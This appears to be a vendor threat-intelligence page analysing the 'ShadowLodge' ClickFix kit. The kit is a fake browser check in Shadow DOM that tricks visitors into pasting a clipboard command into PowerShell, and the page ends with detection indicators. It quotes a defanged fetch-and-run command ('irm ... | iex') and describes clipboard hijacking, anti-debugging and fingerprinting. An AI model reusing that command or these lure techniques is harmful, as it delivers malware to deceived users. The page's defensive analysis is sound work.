Web threats / ClickFix

ShadowLodge ClickFix kit

ShadowLodge is a fake browser check built inside declarative Shadow DOM, with inline-command and remote-text variants. We have matched it on 2 sites since 21 August.

ShadowLodge in numbers

Since 21 August, the first ShadowLodge match in our records, counted on 12 November 2026. How we count.

Sites with ShadowLodge code2
Sites with a match in the last 30 days0
New sites in October0

A full verification page inside a shadow root

ShadowLodge uses complete landing pages that share the same generated element IDs, layout and interaction code. Their HTML is nearly identical. The command delivery changed while the page around it stayed recognisable.

The verification widget lives inside <template shadowrootmode="open">. ShadowLodge's attachLogic function reaches through .shadowRoot to find the checkbox and instruction panel. The IDs ebJgtn, RMxDHG and WvNRRX repeat across both builds.

Two waits before the terminal prompt

The visitor first sees "Verifying your browser" and a spinner. After three seconds, the page swaps in a "Verify you are human" checkbox. Selecting it brings the spinner back for another three seconds, expands the widget and reveals four steps: press Win+X, open PowerShell or Terminal, paste with Ctrl+V and press Enter.

A separate generateRayId function fills the page with a random 16-character hexadecimal Ray ID. The instruction panel repeats that value as the visitor's supposed verification code.

Inline and remote commands

The 22 August capture keeps an irm command directly in the page. Its shape is:

irm hxxp://[host]/[script].ps1 | iex

The 27 August capture fetches script.txt from beside the page and reads the reply with response.text(). The rest of the flow is unchanged. In both builds, a document-wide click handler writes the command, so any click after the handler is attached can replace the clipboard.

Both pages reject mobile user agents and reload when the visitor presses common developer, view-source, save or print shortcuts. A one-second debugger timer reloads the page when a paused session takes more than 100 milliseconds. The inline-command capture adds a report containing the page address and a browser fingerprint: screen size, timezone, languages, CPU count, memory, touch points, GPU and a canvas hash.

What we see

MonthNew sites
September0
October0
November so far0

Checking a page

Inspect the raw HTML and the rendered shadow root. Search for:

  • <template shadowrootmode="open"> containing ebJgtn, RMxDHG and WvNRRX
  • generateRayId and an attachLogic function that enters .shadowRoot
  • two three-second timers around the checkbox and instruction panel
  • fetch('script.txt') followed by response.text(), or an inline irm command piped to iex
  • a document-level click handler that calls navigator.clipboard.writeText

Use a saved response for inspection because the page interferes with developer tools and view-source shortcuts.

Try the feed for 14 days.

Request a trial and we'll send you a live API key, with the same feed, removals and reasons a customer gets.